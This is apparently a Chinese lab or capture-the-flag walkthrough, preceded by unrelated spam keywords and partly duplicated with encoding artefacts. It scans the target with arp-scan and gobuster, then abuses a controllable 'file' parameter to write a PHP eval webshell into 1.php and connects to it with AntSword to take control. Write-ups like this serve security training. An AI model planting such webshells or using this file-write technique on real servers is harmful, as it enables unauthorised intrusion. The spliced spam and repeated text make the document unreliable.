外贸模版网站,地方网站源码,室内设计学校排行榜,三星网上商城将这一关的镜像导入虚拟机#xff0c;出现以下页面表示导入成功 以root身份打开kali终端#xff0c;输入以下命令#xff0c;查看靶机ip
arp-scan -l 根据得到的靶机ip#xff0c;浏览器访问进入环境 我们从当前页面没有得到有用的信息#xff0c;尝试扫描后台 发现有一个…将这一关的镜像导入虚拟机出现以下页面表示导入成功 以root身份打开kali终端输入以下命令查看靶机ip
arp-scan -l 根据得到的靶机ip浏览器访问进入环境 我们从当前页面没有得到有用的信息尝试扫描后台 发现有一个后台目录文件robots.txt尝试访问 没有得到有用的信息尝试端口扫描 分别访问这几个端口也没有什么发现我们换个思路
还是将重点放回80端口因为robot.txt提示我们继续找找可能是因为我们的字典太小了我们换个扫描器换个字典试下,利用kali自带的最大的一个字典
cd /usr/share/wordlists/dirbuster/
ls -al gobuster dir -u http://192.168.164.147/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
提示没有安装gobuster颜色没变
先更新apt再安装gobuster
apt update apt install gobuster 运行gobuster查看是否安装成功 再次执行上面的那条命令 尝试后缀名拼接到ip后面访问 在输入框中随便输入发现输入的数据被显示到页面上抓包 发现网站会将提交的内容追加到graffiti.txt文件中由于file参数是可控的那么我们可以修改文件名改变文件上传的路径尝试上传一句话木马到1.php中
?php eval($_POST[a]);? 浏览器访问1.php 蚁剑连接 测试连接成功添加成功获取权限
